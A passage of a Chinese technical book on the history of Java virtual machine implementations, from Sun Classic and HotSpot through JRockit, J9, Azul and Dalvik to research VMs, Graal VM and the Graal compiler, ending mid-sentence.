    {"text": "1.4 Java虚拟机家族 上一节我们以JDK版本演进过程为线索，回顾了Java技术的发展历史，体会过其中企业与技术的成败兴衰，现在，我们将聚焦到本书的主题“Java虚拟机”。许多Java程序员都会潜意识地把Java虚拟机与OracleJDK的HotSpot虚拟机等同看待，也许还有一些程序员会注意到BEA JRockit和IBM J9虚拟机，但绝大多数人对Java虚拟机的认识就仅限于此了。从1996年初Sun发布的JDK 1.0中包含的Sun Classic虚拟机到今天，曾经涌现、湮灭过许多或经典，或优秀，或有特色，或有争议的虚拟机实现，在这一节中，我们仍先把代码与技术放下，一起来回顾Java虚拟机家族的发展轨迹和历史变迁。 1.4.1 虚拟机始祖：Sun Classic/Exact VM 以今天的视角来看，Sun Classic虚拟机的技术已经相当原始，这款虚拟机的使命也早已终结。但仅凭它“世界上第一款商用Java虚拟机”的头衔，就足够有令历史记住它的理由。 1996年1月23日，Sun发布JDK 1.0，Java语言首次拥有了商用的正式运行环境，这个JDK中所带的虚拟机就是Classic VM。这款虚拟机只能使用纯解释器方式来执行Java代码，如果要使用即时编译器那就必须进行外挂，但是假如外挂了即时编译器的话，即时编译器就会完全接管虚拟机的执行系统，解释器便不能再工作了。在JDK 1.2及之前，用户用Classic虚拟机执行java-version命令，将会看到类似下面这行的输出： java version \"1.2.2\" Classic VM (build JDK-1.2.2-001, green threads, sunwjit) 其中的“sunwjit”（Sun Workshop JIT）就是Sun提供的外挂编译器，其他类似的外挂编译器还有Symantec JIT和shuJIT等。由于解释器和编译器不能配合工作，这就意味着如果要使用编译执行，编译器就不得不对每一个方法、每一行代码都进行编译，而无论它们执行的频率是否具有编译的价值。基于程序响应时间的压力，这些编译器根本不敢应用编译耗时稍高的优化技术，因此这个阶段的虚拟机虽然用了即时编译器输出本地代码，其执行效率也和传统的C/C++程序有很大差距，“Java语言很慢”的印象就是在这阶段开始在用户心中树立起来的。 Sun的虚拟机团队努力去解决Classic虚拟机所面临的各种问题，提升运行效率，在JDK 1.2时，曾在Solaris平台上发布过一款名为Exact VM的虚拟机，它的编译执行系统已经具备现代高性能虚拟机雏形，如热点探测、两级即时编译器、编译器与解释器混合工作模式等。 Exact VM因它使用准确式内存管理（Exact Memory Management，也可以叫Non-Con-servative/Accurate Memory Management）而得名。准确式内存管理是指虚拟机可以知道内存中某个位置的数据具体是什么类型。譬如内存中有一个32bit的整数123456，虚拟机将有能力分辨出它到底是一个指向了123456的内存地址的引用类型还是一个数值为123456的整数，准确分辨出哪些内存是引用类型，这也是在垃圾收集时准确判断堆上的数据是否还可能被使用的前提。由于使用了准确式内存管理，Exact VM可以抛弃掉以前Classic VM基于句柄（Handle）的对象查找方式（原因是垃圾收集后对象将可能会被移动位置，如果地址为123456的对象移动到654321，在没有明确信息表明内存中哪些数据是引用类型的前提下，那虚拟机肯定是不敢把内存中所有为123456的值改成654321的，所以要使用句柄来保持引用值的稳定），这样每次定位对象都少了一次间接查找的开销，显著提升执行性能。 虽然Exact VM的技术相对Classic VM来说先进了许多，但是它的命运显得十分英雄气短，在商业应用上只存在了很短暂的时间就被外部引进的HotSpot VM所取代，甚至还没有来得及发布Windows和Linux平台下的商用版本。而Classic VM的生命周期则相对要长不少，它在JDK 1.2之前是JDK中唯一的虚拟机，在JDK 1.2时，它与HotSpot VM并存，但默认是使用Classic VM（用户可用java-hotspot参数切换至HotSpot VM），而在JDK 1.3时，HotSpot VM成为默认虚拟机，它仍作为虚拟机的“备用选择”发布（使用java-classic参数切换），直到JDK 1.4的时候，Classic VM才完全退出商用虚拟机的历史舞台，与Exact VM一起进入了Sun Labs Research VM之中。"},
    {"text": "1.4.2 武林盟主：HotSpot VM 相信所有Java程序员都听说过HotSpot虚拟机，它是Sun/OracleJDK和OpenJDK中的默认Java虚拟机，也是目前使用范围最广的Java虚拟机。但不一定所有人都知道的是，这个在今天看起来“血统纯正”的虚拟机在最初并非由Sun公司所开发，而是由一家名为“Longview Technologies”的小公司设计；甚至这个虚拟机最初并非是为Java语言而研发的，它来源于Strongtalk虚拟机，而这款虚拟机中相当多的技术又是来源于一款为支持Self语言实现“达到C语言50%以上的执行效率”的目标而设计的Self虚拟机，最终甚至可以追溯到20世纪80年代中期开发的Berkeley Smalltalk上。Sun公司注意到这款虚拟机在即时编译等多个方面有着优秀的理念和实际成果，在1997年收购了Longview Technologies公司，从而获得了HotSpot虚拟机。 HotSpot既继承了Sun之前两款商用虚拟机的优点（如前面提到的准确式内存管理），也有许多自己新的技术优势，如它名称中的HotSpot指的就是它的热点代码探测技术（这里的描写带有“历史由胜利者书写”的味道，其实HotSpot与Exact虚拟机基本上是同时期的独立产品，HotSpot出现得还稍早一些，一开始HotSpot就是基于准确式内存管理的，而Exact VM之中也有与HotSpot几乎一样的热点探测技术，为了Exact VM和HotSpot VM哪个该成为Sun主要支持的虚拟机，在Sun公司内部还争吵过一场，HotSpot击败Exact并不能算技术上的胜利），HotSpot虚拟机的热点代码探测能力可以通过执行计数器找出最具有编译价值的代码，然后通知即时编译器以方法为单位进行编译。如果一个方法被频繁调用，或方法中有效循环次数很多，将会分别触发标准即时编译和栈上替换编译（On-Stack Replacement，OSR）行为 [1] 。通过编译器与解释器恰当地协同工作，可以在最优化的程序响应时间与最佳执行性能中取得平衡，而且无须等待本地代码输出才能执行程序，即时编译的时间压力也相对减小，这样有助于引入更复杂的代码优化技术，输出质量更高的本地代码。 2006年，Sun陆续将SunJDK的各个部分在GPLv2协议下开放了源码，形成了Open-JDK项目，其中当然也包括HotSpot虚拟机。HotSpot从此成为Sun/OracleJDK和OpenJDK两个实现极度接近的JDK项目的共同虚拟机。Oracle收购Sun以后，建立了HotRockit项目来把原来BEA JRockit中的优秀特性融合到HotSpot之中。到了2014年的JDK 8时期，里面的HotSpot就已是两者融合的结果，HotSpot在这个过程里移除掉永久代，吸收了JRockit的Java Mission Control监控工具等功能。 得益于Sun/OracleJDK在Java应用中的统治地位，HotSpot理所当然地成为全世界使用最广泛的Java虚拟机，是虚拟机家族中毫无争议的“武林盟主”。 [1] 在本书第11章会专门讲解即时编译的内容。"},
    {"text": "1.4.3 小家碧玉：Mobile/Embedded VM Sun/Oracle公司所研发的虚拟机可不仅包含前面介绍到的服务器、桌面领域的商用虚拟机，面对移动和嵌入式市场，也有专门的Java虚拟机产品。 由于Java ME产品线的发展相对Java SE来说并不那么成功，所以Java ME中的Java虚拟机相比HotSpot要低调得多。Oracle公司在Java ME这条产品线上的虚拟机名为CDC-HI（C Virtual Machine，CVM）和CLDC-HI（Monty VM）。其中CDC/CLDC全称是Connected（Limited）Device Configuration，这是一组在JSR-139及JSR-218规范中进行定义的Java API子集，这组规范希望能够在手机、电子书、PDA等移动设备上建立统一的Java编程接口，CDC-HI VM和CLDC-HI VM就是JSR-139及JSR-218规范的参考实现，后面的HI则是HotSpot Implementation的缩写，但它们并不是由HotSpot直接裁剪而来，只是借鉴过其中一些技术，并没有血缘关系，充其量能叫有所渊源。 Java ME中的Java虚拟机现在处于比较尴尬的位置，所面临的局面远不如服务器和桌面领域乐观，它最大的一块市场——智能手机已被Android和iOS二分天下 [1] ，现在CDC在智能手机上略微有点声音的产品是Oracle ADF Mobile，原本它提出的卖点是智能手机上的跨平台（“Developing with Java on iOS and Android”），不过用Java在Android上开发应用还要再安装个CDC虚拟机，这事情听着就觉得别扭，有多此一举的嫌疑，在iOS上倒确实还有一些人在用。 而在嵌入式设备上，Java ME Embedded又面临着自家Java SE Embedded（eJDK）的直接竞争和侵蚀，主打高端的CDC-HI经过多年来的扩充，在核心部分其实已经跟Java SE非常接近，能用Java SE的地方大家自然就不愿意用Java ME，所以市场在快速萎缩，Oracle也基本上砍掉了CDC-HI的所有项目，把它们都划归到了Java SE Embedded下。Java SE Embedded里带的Java虚拟机当然还是HotSpot，但这是为了适应嵌入式环境专门定制裁剪的版本，尽可能在支持完整的Java SE功能的前提下向着减少内存消耗的方向优化，譬如只留下了客户端编译器（C1），去掉了服务端编译器（C2）；只保留Serial/Serial Old垃圾收集器，去掉了其他收集器等。 面向更低端设备的CLDC-HI倒是在智能控制器、传感器等领域还算能维持自己的一片市场，现在也还在继续发展，但前途并不乐观。目前CLDC中活得最好的产品反而是原本早该被CLDC-HI淘汰的KVM，国内的老人手机和出口到经济欠发达国家的功能手机（Feature Phone）还在广泛使用这种更加简单、资源消耗也更小的上一代Java ME虚拟机。 [1] 严格来说这种提法并不十分准确，笔者写下这段文字时（2019年），在中国，传音手机的出货量超过小米、OPPO、VIVO等智能手机巨头，仅次于华为（含荣耀品牌）排行全国第二。传音手机做的是功能机，销售市场主要在非洲，上面仍然用着Java ME的KVM。"},
    {"text": "1.4.4 天下第二：BEA JRockit/IBM J9 VM 前面三节介绍的都是由Sun/Oracle公司研发的Java虚拟机，历史上除了Sun/Oracle公司以外，也有其他组织、公司开发过虚拟机的实现。如果说HotSpot是天下第一的武林盟主，那曾经与HotSpot并称“三大商业Java虚拟机”的另外两位，毫无疑问就该是天下第二了，它们分别是BEA System公司的JRockit与IBM公司的IBM J9。 JRockit虚拟机曾经号称是“世界上速度最快的Java虚拟机”（广告词，IBM J9虚拟机也这样宣传过，总体上三大虚拟机的性能是交替上升的），它是BEA在2002年从Appeal Virtual Machines公司收购获得的Java虚拟机。BEA将其发展为一款专门为服务器硬件和服务端应用场景高度优化的虚拟机，由于专注于服务端应用，它可以不太关注于程序启动速度，因此JRockit内部不包含解释器实现，全部代码都靠即时编译器编译后执行。除此之外，JRockit的垃圾收集器和Java Mission Control故障处理套件等部分的实现，在当时众多的Java虚拟机中也处于领先水平。JRockit随着BEA被Oracle收购，现已不再继续发展，永远停留在R28版本，这是JDK 6版JRockit的代号。 IBM J9虚拟机并不是IBM公司唯一的Java虚拟机，不过目前IBM主力发展无疑就是J9。J9这个名字最初只是内部开发代号而已，开始选定的正式名称是“IBM Technology for Java Virtual Machine”，简称IT4J，但这个名字太拗口，接受程度远不如J9。J9虚拟机最初是由IBM Ottawa实验室的一个SmallTalk虚拟机项目扩展而来，当时这个虚拟机有一个Bug是因为8KB常量值定义错误引起，工程师们花了很长时间终于发现并解决了这个错误，此后这个版本的虚拟机就被称为K8，后来由其扩展而来、支持Java语言的虚拟机就被命名为J9。与BEA JRockit只专注于服务端应用不同，IBM J9虚拟机的市场定位与HotSpot比较接近 [1] ，它是一款在设计上全面考虑服务端、桌面应用，再到嵌入式的多用途虚拟机，开发J9的目的是作为IBM公司各种Java产品的执行平台，在和IBM产品（如IBM WebSphere等）搭配以及在IBM AIX和z/OS这些平台上部署Java应用。 IBM J9直至今天仍旧非常活跃，IBM J9虚拟机的职责分离与模块化做得比HotSpot更优秀，由J9虚拟机中抽象封装出来的核心组件库（包括垃圾收集器、即时编译器、诊断监控子系统等）就单独构成了IBM OMR项目，可以在其他语言平台如Ruby、Python中快速组装成相应的功能。从2016年起，IBM逐步将OMR项目和J9虚拟机进行开源，完全开源后便将它们捐献给了Eclipse基金会管理，并重新命名为Eclipse OMR和OpenJ9 [2] 。如果为了学习虚拟机技术而去阅读源码，更加模块化的OpenJ9代码其实是比HotSpot更好的选择。如果为了使用Java虚拟机时多一种选择，那可以通过AdoptOpenJDK来获得采用OpenJ9搭配上OpenJDK其他类库组成的完整JDK。 除BEA和IBM公司外，其他一些大公司也号称有自己的专属JDK和虚拟机，但是它们要么是通过从Sun/Oracle公司购买版权的方式获得的（如HP、SAP等），要么是基于OpenJDK项目改进而来的（如阿里巴巴、Twitter等），都并非自己独立开发。 [1] 严格来说，J9能够支持的市场定位比HotSpot更加广泛，J9最初是为嵌入式领域设计的，后来逐渐扩展为IBM所有平台共用的虚拟机，嵌入式、桌面、服务器端都用它，而HotSpot在嵌入式领域使用的是CDC/CLDC以及Java SE Embedded，这也从侧面体现了J9的模块化和通用性做得非常好。 [2] 尽管OpenJ9名称上看起来与OpenJDK类似，但它只是一个单独的Java虚拟机，不包括JDK中的其他内容，实际应该与HotSpot相对应。"},
    {"text": "1.4.5 软硬合璧：BEA Liquid VM/Azul VM 我们平时所提及的“高性能Java虚拟机”一般是指HotSpot、JRockit、J9这类在通用硬件平台上运行的商用虚拟机，但其实还有一类与特定硬件平台绑定、软硬件配合工作的专有虚拟机，往往能够实现更高的执行性能，或提供某些特殊的功能特性。这类专有虚拟机的代表是BEA Liquid VM和Azul VM。 Liquid VM也被称为JRockit VE（Virtual Edition，VE），它是BEA公司开发的可以直接运行在自家Hypervisor系统上的JRockit虚拟机的虚拟化版本，Liquid VM不需要操作系统的支持，或者说它自己本身实现了一个专用操作系统的必要功能，如线程调度、文件系统、网络支持等。由虚拟机越过通用操作系统直接控制硬件可以获得很多好处，如在线程调度时，不需要再进行内核态/用户态的切换，这样可以最大限度地发挥硬件的能力，提升Java程序的执行性能。随着JRockit虚拟机终止开发，Liquid VM项目也已经停止了。 Azul VM是Azul Systems公司在HotSpot基础上进行大量改进，运行于Azul Systems公司的专有硬件Vega系统上的Java虚拟机，每个Azul VM实例都可以管理至少数十个CPU和数百GB的内存的硬件资源，并提供在巨大内存范围内停顿时间可控的垃圾收集器（即业内赫赫有名的PGC和C4收集器），为专有硬件优化的线程调度等优秀特性。2010年起，Azul公司的重心逐渐开始从硬件转向软件，发布了自己的Zing虚拟机，可以在通用x86平台上提供接近于Vega系统的性能和一致的功能特性。 随着虚拟机技术的不断发展，Java虚拟机变得越来越强大的同时也越来越复杂，要推动在专有硬件上的Java虚拟机升级发展，难以直接借助开源社区的力量，往往需要耗费更高昂的成本，在商业上的缺陷使得专有虚拟机逐渐没落，Azul Systems公司最终也放弃了Vega产品线，把全部精力投入到Zing和Zulu产品线中。 Zing虚拟机是一个从HotSpot某旧版代码分支基础上独立出来重新开发的高性能Java虚拟机，它可以运行在通用的Linux/x86-64平台上。Azul公司为它编写了新的垃圾收集器，也修改了HotSpot内的许多实现细节，在要求低延迟、快速预热等场景中，Zing VM都要比HotSpot表现得更好。Zing的PGC、C4收集器可以轻易支持TB级别的Java堆内存，而且保证暂停时间仍然可以维持在不超过10毫秒的范围里，HotSpot要一直到JDK 11和JDK 12的ZGC及Shenandoah收集器才达到了相同的目标，而且目前效果仍然远不如C4。Zing的ReadyNow！功能可以利用之前运行时收集到的性能监控数据，引导虚拟机在启动后快速达到稳定的高性能水平，减少启动后从解释执行到即时编译的等待时间。Zing自带的ZVision/ZVRobot功能可以方便用户监控Java虚拟机的运行状态，从找出代码热点到对象分配监控、锁竞争监控等。Zing能让普通用户无须了解垃圾收集等底层调优，就可以使得Java应用享有低延迟、快速预热、易于监控的功能，这是Zing的核心价值和卖点，很多Java应用都可以通过长期努力在应用、框架层面优化来提升性能，但使用Zing的话就可以把精力更多集中在业务方面。"},
    {"text": "1.4.6 挑战者：Apache Harmony/Google Android Dalvik VM 这节介绍的Harmony虚拟机（准确地说是Harmony里的DRLVM）和Dalvik虚拟机只能称作“虚拟机”，而不能称作“Java虚拟机”，但是这两款虚拟机以及背后所代表的技术体系曾经对Java世界产生了非常大的影响和挑战，当时甚至有悲观的人认为成熟的Java生态系统都有分裂和崩溃的可能。 Apache Harmony是一个Apache软件基金会旗下以Apache License协议开源的实际兼容于JDK 5和JDK 6的Java程序运行平台，它含有自己的虚拟机和Java类库API，用户可以在上面运行Eclipse、Tomcat、Maven等常用的Java程序。但是，它并没有通过TCK认证，所以我们不得不用一长串冗长拗口的语言来介绍它，而不能用一句“Apache的JDK”或者“Apache的Java虚拟机”来直接代指。 如果一个公司要宣称自己的运行平台“兼容于Java技术体系”，那该运行平台就必须要通过TCK（Technology Compatibility Kit）的兼容性测试，Apache基金会曾要求当时的Sun公司提供TCK的使用授权，但是一直遭到各种理由的拖延和搪塞，直到Oracle收购了Sun公司之后，双方关系越闹越僵，最终导致Apache基金会愤然退出JCP组织，这是Java社区有史以来最严重的分裂事件之一。 当Sun公司把自家的JDK开源形成OpenJDK项目之后，Apache Harmony开源的优势被极大地抵消，以至于连Harmony项目的最大参与者IBM公司也宣布辞去Harmony项目管理主席的职位，转而参与OpenJDK的开发。虽然Harmony没有真正地被大规模商业运用过，但是它的许多代码（主要是Java类库部分的代码）被吸纳进IBM的JDK 7实现以及Google Android SDK之中，尤其是对Android的发展起了很大推动作用。 说到Android，这个时下最热门的移动数码设备平台在最近十年所取得的成果已经远远超越了Java ME在过去二十多年所获得的成果，Android让Java语言真正走进了移动数码设备领域，只是走得并非Sun公司原本想象的那一条路。 Dalvik虚拟机曾经是Android平台的核心组成部分之一，它的名字来源于冰岛一个名为Dalvik的小渔村。Dalvik虚拟机并不是一个Java虚拟机，它没有遵循《Java虚拟机规范》，不能直接执行Java的Class文件，使用寄存器架构而不是Java虚拟机中常见的栈架构。但是它与Java却又有着千丝万缕的联系，它执行的DEX（Dalvik Executable）文件可以通过Class文件转化而来，使用Java语法编写应用程序，可以直接使用绝大部分的Java API等。在Android发展的早期，Dalvik虚拟机随着Android的成功迅速流行，在Android 2.2中开始提供即时编译器实现，执行性能又有了进一步提高。不过到了Android 4.4时代，支持提前编译（Ahead of Time Compilation，AOT）的ART虚拟机迅速崛起，在当时性能还不算特别强大的移动设备上，提前编译要比即时编译更容易获得高性能，所以在Android 5.0里ART就全面代替了Dalvik虚拟机。 1.4.7 没有成功，但并非失败：Microsoft JVM及其他 在Java虚拟机二十几年的发展历程中，除去上面介绍的那些被大规模商业应用过的Java虚拟机外，还有许多虚拟机是不为人知地默默沉寂，或者曾经绚丽过但最终夭折湮灭的。我们以其中Microsoft公司的Java虚拟机为代表来介绍一下。 在Java语言诞生的初期（1996年～1998年，以JDK1.2发布之前为分界），它的主要应用之一是在浏览器中运行Java Applets程序，微软为了在Internet Explorer 3浏览器中支持Java Applets应用而开发了自己的Java虚拟机，虽然这款虚拟机只有Windows平台的版本，“一次编译，到处运行”根本无从谈起，但却是当时Windows系统下性能最好的Java虚拟机，它在1997年和1998年连续获得了《PC Magazine》杂志的“编辑选择奖”。但是好景不长，在1997年10月，Sun公司正式以侵犯商标、不正当竞争等罪名控告微软，在随后对微软公司的垄断调查之中，这款虚拟机也曾作为证据之一被呈送法庭。官司的结果是微软向Sun公司（最终微软因垄断赔偿给Sun公司的总金额高达10亿美元）赔偿2000万美金，承诺终止其Java虚拟机的发展，并逐步在产品中移除Java虚拟机相关功能。而最令人感到讽刺的是，到后来在Windows XP SP3中Java虚拟机被完全抹去的时候，Sun公司却又到处登报希望微软不要这样做 [1] 。Windows XP高级产品经理Jim Cullinan称：“我们花费了三年的时间和Sun公司打官司，当时他们试图阻止我们在Windows中支持Java，现在我们这样做了，可他们又在抱怨，这太具有讽刺意味了。” 我们试想一下，如果当年Sun公司没有起诉微软公司，微软继续保持着对Java技术的热情，那Java的世界会变得更好还是更坏？.NET技术是否还会发展起来？ [1] Sun公司在《纽约时报》《圣约瑟商业新闻》和《华尔街周刊》上刊登了整页的广告，在广告词中Sun公司号召消费者“要求微软公司继续在其Windows XP系统包括Java平台”。"},
    {"text": "1.4.8 百家争鸣 还有一些Java虚拟机天生就注定不会应用在主流领域，或者不是单纯为了用于生产，甚至在设计之初就没有抱着商用的目的，仅仅是用于研究、验证某种技术和观点，又或者是作为一些规范的标准实现。这些虚拟机对于大多数不从事相关领域开发的Java程序员来说可能比较陌生，笔者列举几款较为有影响的： ·KVM [1] KVM中的K是“Kilobyte”的意思，它强调简单、轻量、高度可移植，但是运行速度比较慢。在Android、iOS等智能手机操作系统出现前曾经在手机平台上得到非常广泛应用。 ·Java Card VM JCVM是Java虚拟机很小的一个子集，裁减了许多模块但通常支持绝大多数的常用加密算法。JCVM必须精简到能放入智能卡、SIM卡、银行信用卡、借记卡内，负责对Java Applet程序进行解释执行。 ·Squawk VM Squawk VM是由Sun开发，运行于Sun SPOT（Sun Small Programmable Object Tech-nology，一种手持的Wi-Fi设备），也曾经运用于Java Card。这是一个Java代码比重很高的嵌入式虚拟机实现，其中诸如类加载器、字节码验证器、垃圾收集器、解释器、编译器和线程调度都是用Java语言完成的，仅仅靠C语言来编写设备I/O和必要的本地代码。 ·JavaInJava JavaInJava是Sun公司在1997年～1998年间所研发的一个实验室性质的虚拟机，从名字就可以看出，它试图以Java语言来实现Java语言本身的运行环境，既所谓的“元循环”（Meta-Circular，是指使用语言自身来实现其运行环境）虚拟机。它必须运行在另外一个宿主虚拟机之上，内部没有即时编译器，代码只能以解释模式执行。在上世纪末主流原生的Java虚拟机都未能很好解决性能问题的时代，开发这种项目，其执行速度大家可想而知，不过通过元循环证明一门语言可以自举，是具有它的研究价值的。 ·Maxine VM Maxine VM和上面的JavaInJava非常相似，它也是一个几乎全部以Java代码实现（只有用于启动Java虚拟机的加载器使用C语言编写）的元循环Java虚拟机。这个项目于2005年开始，到现在仍然在发展之中，比起JavaInJava，Maxine VM的执行效率就显得靠谱得多，它有先进的即时编译器和垃圾收集器，可在宿主模式或独立模式下执行，其执行效率已经接近HotSpot虚拟机Client模式的水平。后来有了从C1X编译器演进而来的Graal编译器的支持，就更加如虎添翼，执行效率有了进一步飞跃。Graal编译器现在已经是HotSpot的默认组件，是未来代替HotSpot中服务端编译器的希望。 ·Jikes RVM Jikes RVM是IBM开发的专门用来研究Java虚拟机实现技术的项目。曾用名为Jalapeño。与JavaInJava和Maxine一样，它也是一个元循环虚拟机。 ·IKVM.NET 这是一个基于微软.NET框架实现的Java虚拟机，并借助Mono获得一定的跨平台能力。IKVM.NET的目标第一眼看起来的确很奇怪，可能在某些特殊情况下，在.NET上使用某些流行的Java库也许真的不算是伪需求？IKVM.NET可以将Class文件编译成.NET Assembly，在任意的CLI上运行。 其他在本文中没有介绍到的Java虚拟机还有许多，笔者将自己所知的列举如下： ·JamVM： http://jamvm.sourceforge.net/ ·CacaoVM： http://www.cacaovm.org/ ·SableVM： http://www.sablevm.org/ ·Kaffe： http://www.kaffe.org/ ·Jelatine JVM： http://jelatine.sourceforge.net/ ·NanoVM： http://www.harbaum.org/till/nanovm/index.shtml ·MRP： https://github.com/codehaus/mrp ·Moxie JVM： http://moxie.sourceforge.net/ [1] 这里把Java ME里面的虚拟机列为“少数派”是从大多数Java程序员的了解程度出发的，从虚拟机部署数量来讲，Java ME远比Java SE、Java EE的虚拟机多，毕竟服务器应用是无法在数量上和移动、嵌入式设备比较的。 1.5 展望Java技术的未来 本书第1、2版中的“展望Java技术的未来”分别成文于2011年和2013年，将近十年时间已经过去，当时畅想的Java新发展新变化全部如约而至，这部分内容已不再有“展望”的价值。笔者在更新第3版时重写了本节全部内容，并把第2版的“展望”的原文挪到附录之中。倘若Java的未来依旧灿烂精彩，倘若下一个十年本书还更新第4、第5版，亦希望届时能在附录中回首今日，去回溯哪些预测成为现实，哪些改进中途夭折。 如1.3节结尾所言，今天的Java正处于机遇与挑战并存的时期，Java未来能否继续壮大发展，某种程度上取决于如何应对当下已出现的挑战，本文将按照这个脉络来组织，向读者介绍现在仍处于Oracle Labs中的Graal VM、Valhalla、Amber、Loom、Panama等面向未来的研究项目。"},
    {"text": "1.5.1 无语言倾向 网上每隔一段时间就能见到几条“未来X语言将会取代Java”的新闻，此处“X”可以用Kotlin、Golang、Dart、JavaScript、Python等各种编程语言来代入。这大概就是长期占据编程语言榜单第一位 [1] 的烦恼，天下第一总避免不了挑战者相伴。 如果Java有拟人化的思维，它应该从来没有惧怕过被哪一门语言所取代，Java“天下第一”的底气不在于语法多么先进好用，而是来自它庞大的用户群和极其成熟的软件生态，这在朝夕之间难以撼动。不过，既然有那么多新、旧编程语言的兴起躁动，说明必然有其需求动力所在，譬如互联网之于JavaScript、人工智能之于Python，微服务风潮之于Golang等。大家都清楚不太可能有哪门语言能在每一个领域都尽占优势，Java已是距离这个目标最接近的选项，但若“天下第一”还要百尺竿头更进一步的话，似乎就只能忘掉Java语言本身，踏入无招胜有招的境界。 2018年4月，Oracle Labs新公开了一项黑科技：Graal VM，如图1-4所示，从它的口号“Run Programs Faster Anywhere”就能感觉到一颗蓬勃的野心，这句话显然是与1995年Java刚诞生时的“Write Once，Run Anywhere”在遥相呼应。 Graal VM被官方称为“Universal VM”和“Polyglot VM”，这是一个在HotSpot虚拟机基础上增强而成的跨语言全栈虚拟机，可以作为“任何语言”的运行平台使用，这里“任何语言”包括了Java、Scala、Groovy、Kotlin等基于Java虚拟机之上的语言，还包括了C、C++、Rust等基于LLVM的语言，同时支持其他像JavaScript、Ruby、Python和R语言等。Graal VM可以无额外开销地混合使用这些编程语言，支持不同语言中混用对方的接口和对象，也能够支持这些语言使用已经编写好的本地库文件。 图1-4 Graal VM Graal VM的基本工作原理是将这些语言的源代码（例如JavaScript）或源代码编译后的中间格式（例如LLVM字节码）通过解释器转换为能被Graal VM接受的中间表示（Intermediate Representation，IR），譬如设计一个解释器专门对LLVM输出的字节码进行转换来支持C和C++语言，这个过程称为程序特化（Specialized，也常被称为Partial Evaluation）。Graal VM提供了Truffle工具集来快速构建面向一种新语言的解释器，并用它构建了一个称为Sulong的高性能LLVM字节码解释器。 从更严格的角度来看，Graal VM才是真正意义上与物理计算机相对应的高级语言虚拟机，理由是它与物理硬件的指令集一样，做到了只与机器特性相关而不与某种高级语言特性相关。Oracle Labs的研究总监Thomas Wuerthinger在接受InfoQ采访时谈到：“随着GraalVM 1.0的发布，我们已经证明了拥有高性能的多语言虚拟机是可能的，并且实现这个目标的最佳方式不是通过类似Java虚拟机和微软CLR那样带有语言特性的字节码 [2] 。”对于一些本来就不以速度见长的语言运行环境，由于Graal VM本身能够对输入的中间表示进行自动优化，在运行时还能进行即时编译优化，因此使用Graal VM实现往往能够获得比原生编译器更优秀的执行效率，譬如Graal.js要优于Node.js [3] ，Graal.Python要优于CPtyhon [4] ，TruffleRuby要优于Ruby MRI，FastR要优于R语言等。 对Java而言，Graal VM本来就是在HotSpot基础上诞生的，天生就可作为一套完整的符合Java SE 8标准的Java虚拟机来使用。它和标准的HotSpot的差异主要在即时编译器上，其执行效率、编译质量目前与标准版的HotSpot相比也是互有胜负。但现在Oracle Labs和美国大学里面的研究院所做的最新即时编译技术的研究全部都迁移至基于Graal VM之上进行了，其发展潜力令人期待。如果Java语言或者HotSpot虚拟机真的有被取代的一天，那从现在看来Graal VM是希望最大的一个候选项，这场革命很可能会在Java使用者没有明显感觉的情况下悄然而来，Java世界所有的软件生态都没有发生丝毫变化，但天下第一的位置已经悄然更迭。 [1] 参见TIOBE编程语言排行榜：https://www.tiobe.com/tiobe-index/。 [2] 资料来源：https://www.infoq.com/news/2018/04/oracle-graalvm-v1/。 [3] Graal.js能否比Node.js更快目前为止还存有很大争议，Node.js背靠Google的V8引擎、执行性能优异，要超越绝非易事。 [4] Python的运行环境PyPy其实做了与Graal VM差不多的工作，只是仅针对Python而没有为其他高级语言提供解释器。"},
    {"text": "1.5.2 新一代即时编译器 对需要长时间运行的应用来说，由于经过充分预热，热点代码会被HotSpot的探测机制准确定位捕获，并将其编译为物理硬件可直接执行的机器码，在这类应用中Java的运行效率很大程度上取决于即时编译器所输出的代码质量。 HotSpot虚拟机中含有两个即时编译器，分别是编译耗时短但输出代码优化程度较低的客户端编译器（简称为C1）以及编译耗时长但输出代码优化质量也更高的服务端编译器（简称为C2），通常它们会在分层编译机制下与解释器互相配合来共同构成HotSpot虚拟机的执行子系统（这部分具体内容将在本书第11章展开讲解）。 自JDK 10起，HotSpot中又加入了一个全新的即时编译器：Graal编译器，看名字就可以联想到它是来自于前一节提到的Graal VM。Graal编译器是以C2编译器替代者的身份登场的。C2的历史已经非常长了，可以追溯到Cliff Click大神读博士期间的作品，这个由C++写成的编译器尽管目前依然效果拔群，但已经复杂到连Cliff Click本人都不愿意继续维护的程度。而Graal编译器本身就是由Java语言写成，实现时又刻意与C2采用了同一种名为“Sea-of-Nodes”的高级中间表示（High IR）形式，使其能够更容易借鉴C2的优点。Graal编译器比C2编译器晚了足足二十年面世，有着极其充沛的后发优势，在保持输出相近质量的编译代码的同时，开发效率和扩展性上都要显著优于C2编译器，这决定了C2编译器中优秀的代码优化技术可以轻易地移植到Graal编译器上，但是反过来Graal编译器中行之有效的优化在C2编译器里实现起来则异常艰难。这种情况下，Graal的编译效果短短几年间迅速追平了C2，甚至某些测试项中开始逐渐反超C2编译器。Graal能够做比C2更加复杂的优化，如“部分逃逸分析”（Partial Escape Analysis），也拥有比C2更容易使用激进预测性优化（Aggressive Speculative Optimization）的策略，支持自定义的预测性假设等。 今天的Graal编译器尚且年幼，还未经过足够多的实践验证，所以仍然带着“实验状态”的标签，需要用开关参数去激活 [1] ，这让笔者不禁联想起JDK 1.3时代，HotSpot虚拟机刚刚横空出世时的场景，同样也是需要用开关激活，也是作为Classic虚拟机的替代品的一段历史。 Graal编译器未来的前途可期，作为Java虚拟机执行代码的最新引擎，它的持续改进，会同时为HotSpot与Graal VM注入更快更强的驱动力。 [1] 使用-XX：+UnlockExperimentalVMOptions-XX：+UseJVMCICompiler参数来启用Graal编译器。"},
    {"text": "1.5.3 向Native迈进 对不需要长时间运行的，或者小型化的应用而言，Java（而不是指Java ME）天生就带有一些劣势，这里并不只是指跑个HelloWorld也需要百多兆的JRE之类的问题，更重要的是指近几年在从大型单体应用架构向小型微服务应用架构发展的技术潮流下，Java表现出来的不适应。 在微服务架构的视角下，应用拆分后，单个微服务很可能就不再需要面对数十、数百GB乃至TB的内存，有了高可用的服务集群，也无须追求单个服务要7×24小时不间断地运行，它们随时可以中断和更新；但相应地，Java的启动时间相对较长，需要预热才能达到最高性能等特点就显得相悖于这样的应用场景。在无服务架构中，矛盾则可能会更加突出，比起服务，一个函数的规模通常会更小，执行时间会更短，当前最热门的无服务运行环境AWS Lambda所允许的最长运行时间仅有15分钟。 一直把软件服务作为重点领域的Java自然不可能对此视而不见，在最新的几个JDK版本的功能清单中，已经陆续推出了跨进程的、可以面向用户程序的类型信息共享（Application Class Data 